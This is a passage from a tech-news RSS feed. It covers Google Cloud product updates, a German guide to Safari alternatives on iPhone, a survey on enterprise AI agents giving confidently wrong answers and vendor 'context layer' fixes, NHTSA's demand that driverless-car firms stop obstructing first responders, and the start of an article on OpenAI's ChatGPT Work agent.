<li><strong><span>See the Console in a Whole New Light: Dark Mode is Now Generally Available in Google Cloud<br></span></strong>Elevate your cloud management workflow with Dark Mode, now generally available in the Google Cloud console. We have delivered a modern, cohesive, and accessible experience reimagined for maximum comfort and productivity—especially during extended working hours and low-light environments. Dark Mode can be enabled automatically based on your operating system's preference, or manually through the Settings  -&gt; Appearance menu.<br><br><a href="https://docs.cloud.google.com/docs/get-started/console-appearance"><span>Switch to Dark Mode today to enjoy a modern, comfortable, and productive environment!</span></a></li>
<li><strong><span>Apigee X Networking: PSC or VPC Peering?<br></span></strong>Deciding how to connect Apigee X? Watch this video to compare Private Service Connect and VPC Peering. We break down northbound and southbound routing, IP consumption, and how to reach targets on-prem or in the cloud. Learn to simplify your architecture and avoid common networking "gotchas" for a smoother deployment.<br><br><a href="https://goo.gle/4bWBGdV" rel="noopener" target="_blank"><span>Watch the video.</span></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jan 19 - Jan 23</h3>
<ul>
<li><strong>Bridge the Gap: Excel-to-API Conversion in Apigee Portals<br></strong><span>Give your customers more ways to connect! This new article by Tyler Ayers explores how to extend the Apigee Integrated Portal to support direct Excel file uploads. By leveraging SheetJS and custom portal scripts, you can enable users to upload spreadsheets, preview data, and submit it directly to your APIs, all without writing a single line of integration code themselves. It’s a powerful way to simplify onboarding for those who aren't yet API-ready.<br><br></span><a href="https://goo.gle/3Nq3Pjo" rel="noopener" target="_blank"><span>Learn how to build it</span></a><span>.</span></li>
<li><strong>Elevate your applications with Firestore’s new advanced query engine<br></strong><span>We have fundamentally reimagined Firestore with pipeline operations for Enterprise edition. Experience a powerful new engine featuring over a hundred new query features, index-less queries, new index types, and observability tooling to improve query performance. Seamlessly migrate using built-in tools and leverage Firestore’s existing differentiated serverless foundation, virtually unlimited scale, and industry-leading SLA. Join a community of 600K developers to craft expressive applications that maximize the benefits of rich queryability, real-time listen queries, robust offline caching, and cutting-edge AI-assistive coding integrations.<br><br></span><a href="https://cloud.google.com/blog/products/data-analytics/new-firestore-query-engine-enables-pipelines?e=48754805"><span>Learn more about Firestore pipeline operations.</span></a></li>
</ul></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[iPhone-Browser: Die 12 besten Safari-Alternativen]]></title>
<description><![CDATA[Kein Safari-Fan? Kein Problem. iPhone-Nutzern stehen mehr Optionen in Sachen Browsing offen.
					Foto: Camilo Concha – shutterstock.com




Seit der Veröffentlichung von iOS 14 im Jahr 2020 erlaubt Apple es iPhone-Nutzern, einen anderen Standardbrowser als Safari festzulegen. Bevor Sie nun jedoc...]]></description>
<link>https://tsecurity.de/de/3661205/it-security-nachrichten/iphone-browser-die-12-besten-safari-alternativen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661205/it-security-nachrichten/iphone-browser-die-12-besten-safari-alternativen/</guid>
<pubDate>Sat, 11 Jul 2026 06:06:34 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" alt="Kein Safari-Fan? Kein Problem. iPhone-Nutzern stehen mehr Optionen in Sachen Browsing offen." title="Kein Safari-Fan? Kein Problem. iPhone-Nutzern stehen mehr Optionen in Sachen Browsing offen." src="https://images.computerwoche.de/bdb/3380485/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Kein Safari-Fan? Kein Problem. iPhone-Nutzern stehen mehr Optionen in Sachen Browsing offen.</p></figcaption></figure><p class="imageCredit">
					Foto: Camilo Concha – shutterstock.com</p></div>




<p>Seit der Veröffentlichung von iOS 14 im Jahr 2020 erlaubt Apple es <a href="https://www.computerwoche.de/k/iphone-apps,3459" target="_blank" class="idgGlossaryLink">iPhone</a>-Nutzern, einen anderen Standardbrowser als Safari festzulegen. Bevor Sie nun jedoch einfach die nächstbeste App installieren, die nicht Safari ist: Es lohnt sich, die vorhandenen Angebote vorab zu testen, um herauszufinden, welches am besten auf Ihre Bedürfnisse passt. </p>



<p>Dabei ist erwähnenswert, dass Apple Entwickler dazu verpflichtet, für alle Browser dieselbe WebKit-Rendering-Engine wie für Safari zu verwenden. Im Grunde sind also sämtliche iOS-Browser WebKit mit einer jeweils anderen Hülle.</p>



<h2 class="wp-block-heading">Die 12 besten iPhone-Browser, die nicht Safari sind</h2>



<p>Trotzdem haben die folgenden zwölf Browser für iPhone alternative oder umfangreichere (Business-)Funktionen und Oberflächen zu bieten. </p>



<p><strong><a href="https://apps.apple.com/de/app/aloha-browser-privat-vpn/id1105317682" title="Aloha Browser" target="_blank" rel="noopener">Aloha Browser</a></strong></p>



<p>Aloha ist ein funktionsreicher mobiler Browser, der hawaiianisches Flair versprüht. Darüber hinaus bietet Aloha Datenschutzfunktionen wie:</p>



<ul class="wp-block-list">
<li><p>Werbeblocker,</p></li>



<li><p>private Tabs,</p></li>



<li><p>eine Krypto-Wallet,</p></li>



<li><p>einen internen Dateimanager für Downloads, Medien und Dokumente,</p></li>



<li><p>geräteübergreifende Synchronisierung sowie</p></li>



<li><p>VPN.</p></li>
</ul>



<p>Ein Premium-Abonnement (26 Euro pro Jahr) ermöglicht erweiterte <a href="https://www.computerwoche.de/article/2748566/vpn-verbindungen-das-muessen-sie-wissen.html" title="VPN" target="_blank">VPN</a>-Funktionen und auch, den gesamten Datenverkehrs von Ihrem <a href="https://www.computerwoche.de/k/iphone-apps,3459" target="_blank" class="idgGlossaryLink">iPhone</a> zu verschlüsseln, statt nur innerhalb des Aloha-Browsers.</p>



<p><strong><a href="https://apps.apple.com/de/app/google-chrome/id535886823" title="Chrome" target="_blank" rel="noopener">Chrome</a></strong></p>



<p>Googles Chrome ist wahrscheinlich der populärste Browser für Mobilgeräte überhaupt – was in erster Linie der <a href="https://www.computerwoche.de/mobile/" target="_blank" class="idgGlossaryLink">Android</a>-Dominanz auf dem weltweiten Smartphone-Markt geschuldet ist.</p>



<p>Wenn Sie den <a href="https://www.computerwoche.de/article/2805495/so-arbeiten-sie-besser-mit-google-chrome.html" title="Chrome-Desktop-Browser" target="_blank">Chrome-Desktop-Browser</a> verwenden, können Sie Lesezeichen und zuletzt besuchte Websites über Ihr Google-Konto synchronisieren und so die Handoff-Funktion von Safari nachahmen. Außerdem gibt es einen One-Touch-Zugang zu Google Translate, eine Sprachsuche mit Google Assistant anstelle von Siri und einen praktischen QR-Code-Scanner über der virtuellen Tastatur. Der Inkognito-Modus von Chrome sendet keine Cookies und speichert keinen Browserverlauf.</p>



<p><strong><a href="https://apps.apple.com/gb/app/dolphin-mobile-browser/id634693702" target="_blank" rel="noreferrer noopener">Dolphin Browser</a></strong></p>



<p>Dieser mobile Browser bringt zahlreiche Funktionen mit. Unter anderem können Sie mit Dolphin per Gesten- und Sprachsteuerung surfen oder Registerkarten mit nur einem Fingertipp sharen.</p>



<p>Darüber hinaus bietet der Dolphin Browser auch Werbe- und Tracking-Blocker sowie ein nützliches Schnellmenü, über das die zahlreichen Funktionen schnell und einfach erreichbar sind.</p>



<p><strong><a href="https://apps.apple.com/de/app/duckduckgo-private-browser/id663592361" title="DuckDuckGo Private Browser" target="_blank" rel="noopener">DuckDuckGo Private Browser</a></strong></p>



<p>Wie bei der <a href="https://www.computerwoche.de/article/2776713/die-besten-google-alternativen.html" title="Suchmaschine" target="_blank">Suchmaschine</a> liegt der Fokus beim Browser von DuckDuckGo auf dem Schutz der Privatsphäre. Für Sie heißt das: Sie können surfen, ohne getrackt zu werden.</p>



<p>Eine Schaltfläche mit einem “Feuer”-Symbol sorgt dafür, dass Sie sämtliche Registerkarten und Surf-Daten mit nur einem Tastendruck löschen können (und sogar eine Animation ihrer Wahl dazu auswählen können). Ebenfalls eine nennenswerte Funktion: Sie können Webseiten als “fireproof” kennzeichnen. Dann werden Cookies für Anmeldung, Warenkorb, etc. gesetzt – die Tracking-Versuche von Drittanbietern bleiben dennoch wirkungslos.</p>



<p><strong><a href="https://apps.apple.com/de/app/microsoft-edge/id1288723196" target="_blank" rel="noreferrer noopener">Edge</a></strong></p>



<p><a href="https://www.computerwoche.de/article/2823167/edge-browser-zwang-in-teams-und-outlook.html" title="Microsoft Edge" target="_blank">Microsoft Edge</a> synchronisiert Favoriten und Kennwörter zwischen all Ihren Geräten (die mit den Cloud-Servern von Microsoft verbunden sind). Mit dem Befehl “An alle Geräte senden” können Sie eine Registerkarte von Ihrem <a href="https://www.computerwoche.de/k/iphone-apps,3459" target="_blank" class="idgGlossaryLink">iPhone</a> an andere verbundene Geräte senden. Edge bietet außerdem:</p>



<ul class="wp-block-list">
<li><p>generative KI-Funktionen mit <a title="Bing Chat!" href="https://www.microsoft.com/de-de/edge/features/bing-chat?form=MT00D8" target="_blank" rel="noopener">Bing Chat!</a>,</p></li>



<li><p>Sprachbasierte Suchen,</p></li>



<li><p>Tracking- und Werbeblocker,</p></li>



<li><p>InPrivate-Tabs, die keine Browsing-Daten speichern und</p></li>



<li><p>die Möglichkeit, sowohl private als auch geschäftliche Microsoft-Konten zu nutzen.</p></li>
</ul>



<p><strong><a href="https://apps.apple.com/de/app/firefox-private-safe-browser/id989804926" title="Firefox" target="_blank" rel="noopener">Firefox</a></strong></p>



<p>Mozillas <a href="https://www.computerwoche.de/article/2816844/mozilla-sucht-den-suendenbock.html" title="Firefox" target="_blank">Firefox</a> auf dem <a href="https://www.computerwoche.de/k/iphone-apps,3459" target="_blank" class="idgGlossaryLink">iPhone</a> zu nutzen, empfiehlt sich, wenn Sie den Browser bereits mit anderen Geräten verwenden. Dann werden Lesezeichen, Kennwörter und andere Informationen automatisch synchronisiert.</p>



<p>Die modifizierbare Startseite enthält unter anderem Verknüpfungen zu zuletzt besuchten Webseiten. Firefox für iOS verfügt außerdem über die gleiche Anti-Ad-Tracking-Technologie wie die Desktop-Version.</p>



<p><strong><a href="https://apps.apple.com/de/app/firefox-klar/id1073435754" title="Firefox Klar" target="_blank" rel="noopener">Firefox Klar</a></strong></p>



<p>Neben dem “normalen” Firefox bietet Mozilla auch eine schlanke, ablenkungsfreie Option namens Firefox Klar an. Wenn Sie sich leicht ablenken lassen, unter ADHS leiden oder einfach nur ein wenig Hilfe brauchen, um bei der Sache zu bleiben, empfiehlt sich diese Option als Alternative (oder Ergänzung) zu <a href="https://www.computerwoche.de/article/2814355/so-filtern-sie-unwichtiges.html" title="Apples Fokus-Modi" target="_blank">Apples Fokus-Modi</a>, die in iOS integriert sind.</p>



<p>Firefox Klar blockiert standardmäßig Werbung und Tracker, und Sie können Ihren Browserverlauf, Ihre Kennwörter und Cookies mit einem einzigen Tipp auf das allgegenwärtige Mülleimer-Symbol löschen.</p>



<p><strong><a href="https://apps.apple.com/de/app/onion-browser/id519296448" title="Onion Browser" target="_blank" rel="noopener">Onion Browser</a></strong></p>



<p>Der ursprüngliche <a href="https://www.computerwoche.de/article/2744907/das-tor-netzwerk-im-unternehmen.html" title="Tor-Browser für den Desktop" target="_blank">Tor-Browser für den Desktop</a> wurde vom Tor-Projekt entwickelt und nutzt das gleichnamige Netzwerk, um Ihre Identität und Ihre Online-Aktivitäten zu verschleiern. Das macht Tor so gut wie kein anderer Browser. Allerdings gilt es dabei zu beachten, dass die Weiterleitung des Datenverkehrs durch Tor das Surferlebnis verlangsamt und auch viele Webseiten nicht richtig funktionieren. Ottonormal-User brauchen den Tor-Browser in der Regel nicht.</p>



<p>Das eingangs genannte WebKit-“Problem” verhindert einen ähnlich umfassenden Schutz der Privatsphäre, wie sie die Desktop-Version bietet. Erfahrene Tor-Benutzer wissen, wie sie den Browser richtig konfigurieren. Neueinsteiger haben es dank eines dreistufigen Sicherheitskonzepts einfach.</p>



<p><strong><a href="https://apps.apple.com/de/app/opera-browser-und-vpn/id1411869974" title="Opera" target="_blank" rel="noopener">Opera</a></strong></p>



<p>Der Opera-Mobilbrowser wurde ursprünglich entwickelt, um den Datenverbrauch zu senken und dafür zu sorgen, Webseiten auf Low-End- und Budget-Smartphones schneller zu laden. Dennoch können auch <a href="https://www.computerwoche.de/k/iphone-apps,3459" target="_blank" class="idgGlossaryLink">iPhone</a>-Nutzer von seiner Geschwindigkeit und Effizienz profitieren.</p>



<p>Neben der Komprimierungsfunktion, die einen von Opera betriebenen Web-Proxy nutzt, enthält der Browser auch:</p>



<ul class="wp-block-list">
<li><p>Generative-AI-Funktionen mit der <a title="Browser-KI Aria" href="https://www.computerwoche.de/article/2824331/das-bessere-chatgpt.html" target="_blank">Browser-KI Aria</a>, </p></li>



<li><p>einen Werbeblocker,</p></li>



<li><p>eine Krypto-Wallet und</p></li>



<li><p>ein VPN.</p></li>
</ul>



<p>Letztgenanntes Feature ist eher rudimentär ausgestaltet, verschlüsselt nur den Datenverkehr innerhalb von Opera und ist auf drei allgemeine Regionen beschränkt (Europa, Amerika und Asien).</p>



<p><strong><a href="https://apps.apple.com/de/app/orion-browser-by-kagi/id1484498200" title="Orion Browser" target="_blank" rel="noopener">Orion Browser</a></strong></p>



<p>Auf den ersten Blick wirkt Orion wie ein sehr simpler Browser mit typischem Funktionsumfang. Ein Blick in die Einstellungen zeigt jedoch, dass es bei Orion mehr zu entdecken gibt. Darunter beispielsweise verschiedene Modi, die Ihnen dabei helfen, sich zu konzentrieren, Ihre Datennutzung zu optimieren und Ihren Akku zu schonen.</p>



<p>Darüber hinaus blockiert Orion auch Werbung und Tracker und unterstützt die Synchronisierung von Inhalten zwischen mehreren Geräten. Zudem lässt sich der Browser zusätzlich mit Face- beziehungsweise Touch ID oder Passcode absichern.</p>



<p><strong><a title="Search All" href="https://apps.apple.com/de/app/search-all-web-browser/id1059929800" target="_blank" rel="noopener">Suchkönig-Multi-Engine Browser</a></strong></p>



<p>Bei diesem Browser ist der Name Programm: Er wurde entwickelt, um parallel auf diversen Plattformen nach Inhalten zu suchen. Dazu können Sie aus mehr als 50 verschiedenen Websites wählen, darunter:</p>



<ul class="wp-block-list">
<li><p>Suchmaschinen,</p></li>



<li><p>Online-Shops,</p></li>



<li><p>Videoplattformen,</p></li>



<li><p>Bild-Repositories,</p></li>



<li><p>Wiki-Sites,</p></li>



<li><p>etliche soziale Netzwerke und</p></li>



<li><p>sogar Comic-Bibliotheken.</p></li>
</ul>



<p>Die jeweiligen Ergebnisse erhalten Sie in separaten Registerkarten. Die Möglichkeit, so viele Dienste und Plattformen parallel zu durchsuchen, kann unglaublich nützlich sein – etwa für die Recherche zu bestimmten Themen oder auch zu Preisvergleichszwecken.</p>



<p><strong><a href="https://apps.apple.com/de/app/spin-safe-browser/id1069119528?platform=iphone" title="SPIN Safe Browser" target="_blank" rel="noopener">SPIN Safe Browser</a></strong></p>



<p>Der Fokus von SPIN Safe Browser liegt – wie der Name nahelegt – darauf, <a href="https://www.computerwoche.de/article/2795599/so-werden-sie-fast-unsichtbar-im-netz.html" title="sicheres Surfen" target="_blank">sicheres Surfen</a> zu ermöglichen. Zusätzlich zu den Datenschutz-Funktionen bietet der mobile Browser auch die Möglichkeit, bestimmte (fragwürdige) Inhalte oder Bilder zu filtern.</p>



<p>Was SPIN von den anderen Safari-Alternativen in dieser Auflistung abhebt: Die Entwickler wollen mit ihrem Offering gezielt den Bildungs- und Enterprise-Markt adressieren. Dazu stellen Sie auch eine 20 Dollar teure Version des Browsers zur Verfügung, der über AppConfig-kompatible <a title="MDM-Plattformen" href="https://www.computerwoche.de/article/2744983/die-besten-loesungen-fuers-unified-endpoint-management.html" target="_blank">MDM-Plattformen</a> angepasst werden kann. IT-Abteilungen können den Browser also bereitstellen und verfügen über umfassende Management- und Kontrollmöglichkeiten. (fm)</p>



<p><strong>Dieser Artikel ist <a href="https://www.computerworld.com/article/1625235/safari-alternatives-ios-browsers.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Computerworld.com erschienen.</strong></p>
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<title><![CDATA[Composable vs. Programmable Communications: eine Erklärung | Computer Weekly]]></title>
<description><![CDATA[Security Alle anschauen. Anwendungs- und Plattformsicherheit · Bedrohungen ... Die IT-Branche bewegt sich auf die nächste Welle der Unified ...]]></description>
<link>https://tsecurity.de/de/3660990/it-security-nachrichten/composable-vs-programmable-communications-eine-erklaerung-computer-weekly/</link>
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<pubDate>Sat, 11 Jul 2026 01:52:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<b>Security</b> Alle anschauen. Anwendungs- und Plattformsicherheit · Bedrohungen ... Die <b>IT</b>-Branche bewegt sich auf die nächste Welle der Unified ...]]></content:encoded>
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<title><![CDATA[57% of enterprises have watched AI agents be confidently wrong. The fix is an agentic context layer, but who has one?]]></title>
<description><![CDATA[An enterprise AI agent answers with total confidence, but the number is wrong. Nobody catches it until someone traces it back to a stale metric definition or a document the retrieval system never pulled. The model did not fail. The context it was given did.In the past six months, 57% of enterpris...]]></description>
<link>https://tsecurity.de/de/3660872/it-nachrichten/57-of-enterprises-have-watched-ai-agents-be-confidently-wrong-the-fix-is-an-agentic-context-layer-but-who-has-one/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660872/it-nachrichten/57-of-enterprises-have-watched-ai-agents-be-confidently-wrong-the-fix-is-an-agentic-context-layer-but-who-has-one/</guid>
<pubDate>Fri, 10 Jul 2026 23:47:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>An enterprise AI agent answers with total confidence, but the number is wrong. Nobody catches it until someone traces it back to a stale metric definition or a document the retrieval system never pulled. The model did not fail. The context it was given did.</p><p>In the past six months, 57% of enterprises traced a confident but wrong AI agent answer to missing or inconsistent business context, and 31% said it happened more than once, according to a VB Pulse June 2026 survey of 101 qualified enterprises with more than 100 employees.</p><p>The reason is not hard to find. Retrieval over documents is the default way agents get business context for 38% of enterprises, nearly double the next closest approach. The way most enterprises choose a retrieval system compounds the problem. Ease of ingestion and operational simplicity lead the selection criteria, with retrieval accuracy running behind both. The accuracy problem only shows up after the system is already live.</p><p>There is a known fix for this, a governed context layer every agent reads from instead of guessing. Vendors are racing to roll out context platforms while most enterprises are still figuring out what it is.</p><h2>75% don't have an agentic context layer yet</h2><p>The context layer is meant to be a shared model of what business data actually means, built once and referenced consistently instead of re-derived by every agent that touches it. </p><p>The VentureBeat research shows the enterprise response to that idea is broad but unfinished. Twenty-five percent of respondents run one in production. Thirty-four percent are building one right now. The remaining 41% have not started.</p><p>Among companies already building or running a governed context layer, 78% report a confident-wrong failure — an AI agent that answered with total certainty and was still wrong. Among companies with no plans to build a layer, only 20% report the same thing. Companies that already got burned are far more likely to be building the fix. Companies that haven't been burned yet see no urgency.</p><h2>What governed context looks like when someone actually builds one</h2><p>Every major data and AI platform vendor is now building some version of this layer, and they are not converging on the same architecture. </p><ul><li><p><a href="https://venturebeat.com/data/sql-query-logs-hold-the-context-ai-agents-need-to-stop-hallucinating-joins">DataHub</a> is treating catalog metadata and years of analyst query behavior as a knowledge source, then keeping it current as a living system rather than a static wiki. </p></li><li><p>Microsoft's<a href="https://venturebeat.com/data/enterprise-ai-agents-keep-operating-from-different-versions-of-reality"> Fabric IQ</a> is building a business ontology that any agent, not just Microsoft's own, can query over MCP. </p></li><li><p><a href="https://venturebeat.com/data/ai-agents-need-context-everywhere-they-run-even-where-the-cloud-cant-follow">Couchbase</a> is pushing agent memory and context retrieval down to the edge, arguing the operational database is a more natural home for it than a search or analytics layer bolted on after the fact. </p></li><li><p>Pinecone's<a href="https://venturebeat.com/data/the-rag-era-is-ending-for-agentic-ai-a-new-compilation-stage-knowledge-layer-is-what-comes-next"> Nexus</a> is compiling structural logic into the metadata layer ahead of runtime, betting that agents need pre-built structure more than they need faster search.</p></li><li><p>Snowflake runs a two-layer system,<a href="https://venturebeat.com/data/ai-agents-keep-giving-confident-wrong-answers-the-context-layer-is-enterprise-ais-next-production-problem"> Horizon Context</a> for customer-managed definitions and Cortex Sense for context the platform infers on its own. </p></li><li><p>Oracle's<a href="https://venturebeat.com/data/oracle-converges-the-ai-data-stack-to-give-enterprise-agents-a-single"> Unified Memory Core</a> takes the opposite approach, folding vector, graph and relational data into one transactional engine so there is no sync layer left to go stale. </p></li><li><p>Google's<a href="https://venturebeat.com/data/the-modern-data-stack-was-built-for-humans-asking-questions-google-just-rebuilt-its-for-agents-taking-action"> Knowledge Catalog</a> mines query logs and usage patterns to curate semantic context automatically.</p></li><li><p>AWS's<a href="https://venturebeat.com/data/aws-enters-the-context-layer-race-with-a-graph-that-learns-from-agents-not-manual-curation"> Context</a> service makes the same bet, a knowledge graph that gets smarter from how agents actually use it rather than from manual re-curation.</p></li></ul><h2>Analysts converge on one diagnosis</h2><p>The vendor approaches differ. What analysts and practitioners have told VentureBeat about the underlying problem, across a run of interviews this year, does not.</p><p>When<a href="https://venturebeat.com/data/sql-query-logs-hold-the-context-ai-agents-need-to-stop-hallucinating-joins"> DataHub's context layer push</a> landed this spring, Constellation Research VP and principal analyst Michael Ni framed the stakes in blunt terms. "Whoever controls runtime context controls the AI decision layer for enterprise data," Ni said. He was equally direct about how far any single product actually gets a buyer. "Vector memory isn't business meaning, business meaning isn't governance and governance isn't execution," Ni said.</p><p>In the same interview, BARC analyst Kevin Petrie pointed to a narrower but concrete gap. Most context platforms concentrate on structured tables, he said, which give agents trusted facts but miss the harder, messier context locked in documents and unstructured content, exactly the material a business actually runs on day to day.</p><p>Stephanie Walter, practice leader for AI Stack at HyperFRAME Research, made a related point earlier this year when VentureBeat asked her about<a href="https://venturebeat.com/data/context-architecture-is-replacing-rag-as-agentic-ai-pushes-enterprise-retrieval-to-its-limits"> enterprise context fragmentation</a>. </p><p>"The market is converging on the same conclusion," Walter said. "Agents don't just need more tokens or better models. They need governed, current, low-latency context." She made a similar case in an earlier review of<a href="https://venturebeat.com/data/the-rag-era-is-ending-for-agentic-ai-a-new-compilation-stage-knowledge-layer-is-what-comes-next"> Pinecone's Nexus launch</a>, careful not to overstate how new any of this is. Nexus, she said, "shifts knowledge work from runtime chaos to pre-compiled structure. But it's an evolution of RAG architecture, not a complete reinvention." </p><p>Gartner's Arun Chandrasekaran, reviewing the same launch, offered the more forward-looking read. Agentic AI, he said, is moving from pure information retrieval toward a reasoning architecture, one where long context works as short-term memory and a vector database functions as deep storage underneath it.</p><p>The fragmentation problem shows up hardest at the practitioner level, where separate tools for retrieval, memory and access control were never built to agree with each other. Steven Dickens, CEO and principal analyst at HyperFRAME Research, put it bluntly after <a href="https://venturebeat.com/data/oracle-converges-the-ai-data-stack-to-give-enterprise-agents-a-single">Oracle's AI database push</a> landed this spring. "Data teams are exhausted by fragmentation fatigue," Dickens said. "Managing a separate vector store, graph database and relational system just to power one agent is a DevOps nightmare." </p><p>Matt Kimball at Moor Insights and Strategy, in that same story, put the production reality more simply. Getting an agent working is not the hard part, he said. The struggle is running it in production, where the goal becomes removing the distance between data and execution rather than adding another layer on top of it.</p><h2>What this means for enterprises</h2><p>Here's what this adds up to for enterprises building on this layer.</p><p><b>Retrieval alone will not close the context gap.</b> RAG is the default source for context in most enterprises today, and it is also the layer most closely associated with the confident-wrong-answer failure. Adding more documents or a bigger index does not fix a definition that is inconsistent across systems.</p><p><b>The semantic context layer is where the budget is actually moving, even where it hasn't shipped. </b>Fifty-eight percent of enterprises are already engaged — building or in production — but only 25% have actually gotten a layer live. That gap shows where enterprises have decided to spend, not where they've arrived.</p><p><b>No single vendor owns the architecture yet, and that is likely to stay true for a while.</b> Enterprises evaluating this layer should expect to integrate rather than pick a single winner, at least for the next several quarters.</p><p><b>The buying decision is happening this year, and it is concentrated among the companies already burned by it.</b> Fifty-seven percent of enterprises plan to switch or add a retrieval or context platform within the next twelve months. That intent is not spread evenly. Enterprises that reported a repeat confident-wrong failure plan to switch or add a provider at roughly 81%, against 32% among enterprises that never hit the problem. The companies shopping for new context tooling right now are largely the ones whose agents already got it wrong. </p><p>The agents are already running. The context underneath most of them is still being built, and the vendor selling the fix is being chosen this year.</p><p><i>This data will be part of a broader conversation at </i><a href="https://venturebeat.com/vbtransform2026"><i>VB Transform 2026</i></a><i> on July 14 and 15 in Menlo Park: the context gap enterprises are racing to close, and which of the emerging approaches — governed semantic layers, hybrid retrieval, provider-native bundles — actually holds up in production.</i></p>]]></content:encoded>
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<title><![CDATA[Feds Demand Autonomous Vehicle Companies Stop Interfering With First Responders]]></title>
<description><![CDATA[NHTSA is ordering autonomous vehicle developers to explain by the end of the month how they will stop driverless cars from interfering with police, firefighters, and paramedics. TechCrunch reports: [NHTSA Administrator Jonathan Morrison] noted in the letter (PDF) that the agency has "identified a...]]></description>
<link>https://tsecurity.de/de/3660834/it-security-nachrichten/feds-demand-autonomous-vehicle-companies-stop-interfering-with-first-responders/</link>
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<pubDate>Fri, 10 Jul 2026 23:20:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[NHTSA is ordering autonomous vehicle developers to explain by the end of the month how they will stop driverless cars from interfering with police, firefighters, and paramedics. TechCrunch reports: [NHTSA Administrator Jonathan Morrison] noted in the letter (PDF) that the agency has "identified a clear pattern of driverless AVs interfering with law enforcement and other first responders," citing instances in which these vehicles drove into active emergency scenes, blocked the paths of ambulances and firefighters, or failed to recognize and respond to basic safety conditions like flashing lights, flares, smoke, fire, and traffic cones. The agency has demanded that AV developers present their "solutions" to this problem by the end of the month.
 
"Let me be clear: the inability to detect and appropriately respond to such situations represents a functional insufficiency," Morrison's letter reads. "Emergency scenes are not rare or extreme 'edge cases.' As such, NHTSA is today issuing a call to action for AV developers and operators to immediately focus their resources on fixing this issue." The agency doesn't explicitly call out any particular company in the letter; however, the details suggest it is directed at robotaxi operators like Waymo.
 
[...] The agency's letter to AV developers doesn't say what the consequences would be if the request is ignored. Nor does it outline what the acceptable solutions would be. But the agency does imply it would hold companies accountable, just as it does human drivers who impede law enforcement. "Every second matters when law enforcement officers, firefighters, or paramedics are answering a call because lives are on the line," the letter states. "That is why human drivers who impede these operations are subject to fines and even jail time."
 
The agency also noted in a press release accompanying the letter that it's making progress on updating Federal Motor Vehicle Safety Standards (FMVSS) requirements, which govern vehicle design and equipment requirements. These proposed changes could help autonomous vehicle companies like Tesla and Zoox, which are developing vehicles without steering wheels, pedals, or other features required on human-driven cars. The agency has already proposed rules that would eliminate the need for windshield wipers, sun visors, defogging systems, and tire placards. The agency released a new 2026 Regulatory Plan and Unified Agenda last week, outlining its proposals.<p></p><div class="share_submission">
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</div><p><a href="https://tech.slashdot.org/story/26/07/10/1947248/feds-demand-autonomous-vehicle-companies-stop-interfering-with-first-responders?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[OpenAI introduces ChatGPT Work, a cloud-based AI agent that manages tasks across email, Slack and calendars]]></title>
<description><![CDATA[OpenAI on Thursday launched ChatGPT Work, a new AI agent embedded inside its flagship chatbot that aims to transform ChatGPT from a question-and-answer tool into an autonomous work platform capable of executing complex, multi-step tasks across users' email, calendars, code repositories, and messa...]]></description>
<link>https://tsecurity.de/de/3660793/it-nachrichten/openai-introduces-chatgpt-work-a-cloud-based-ai-agent-that-manages-tasks-across-email-slack-and-calendars/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660793/it-nachrichten/openai-introduces-chatgpt-work-a-cloud-based-ai-agent-that-manages-tasks-across-email-slack-and-calendars/</guid>
<pubDate>Fri, 10 Jul 2026 22:48:07 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://openai.com/">OpenAI</a> on Thursday launched <a href="https://openai.com/index/chatgpt-for-your-most-ambitious-work/">ChatGPT Work</a>, a new AI agent embedded inside its flagship chatbot that aims to transform ChatGPT from a question-and-answer tool into an autonomous work platform capable of executing complex, multi-step tasks across users' email, calendars, code repositories, and messaging apps.</p><p>The product is powered by OpenAI's latest flagship model, <a href="https://openai.com/index/gpt-5-6/">GPT-5.6</a>, and is designed to go far beyond generating text. ChatGPT Work can gather context from connected apps, files, and workflows to produce finished documents, spreadsheets, presentations, reports, and websites. The agent takes a stated outcome, breaks it into smaller steps, and stays with complex projects for hours, completing them independently.</p><p>The launch marks OpenAI's clearest attempt yet to reposition ChatGPT as a workplace platform rather than a chatbot — and it arrives at a moment of extraordinary financial significance for the company. Last month, OpenAI <a href="https://openai.com/index/openai-submits-confidential-s-1/">confidentially submitted a draft S-1 registration statement</a> to the SEC, initiating what could become one of the largest technology IPOs in history, with reported valuations <a href="https://www.cnbc.com/2026/03/31/openai-funding-round-ipo.html">clustering between $730 billion and $852 billion</a> and annualized revenue that has blown past $25 billion.</p><p>In a short demonstration and conversation with VentureBeat on Friday, Ty Geri, a product manager at OpenAI who helped build ChatGPT Work, said the product's mission is to democratize the kind of agentic AI capabilities that OpenAI's internal engineering tool, Codex, has already demonstrated. "What's really exciting is we've seen how much Codex has been able to push the frontier of what we can get done with these AI tools, as opposed to just getting information or answers or guidance," Geri said. "Our internal adoption of Codex is literally an exponential curve across every single product function and every single use case."</p><h2><b>Why OpenAI built a persistent virtual machine that works from the beach</b></h2><p>The core architectural bet behind <a href="https://openai.com/index/chatgpt-for-your-most-ambitious-work/">ChatGPT Work</a> is a persistent cloud-based virtual machine that runs on OpenAI's servers, always available to the user regardless of which device they happen to be on. That marks a deliberate departure from competitors whose agents require a local machine to remain powered on and connected.</p><p>"What's really exciting about ChatGPT Work is that it's a virtual machine in the cloud that's always on for 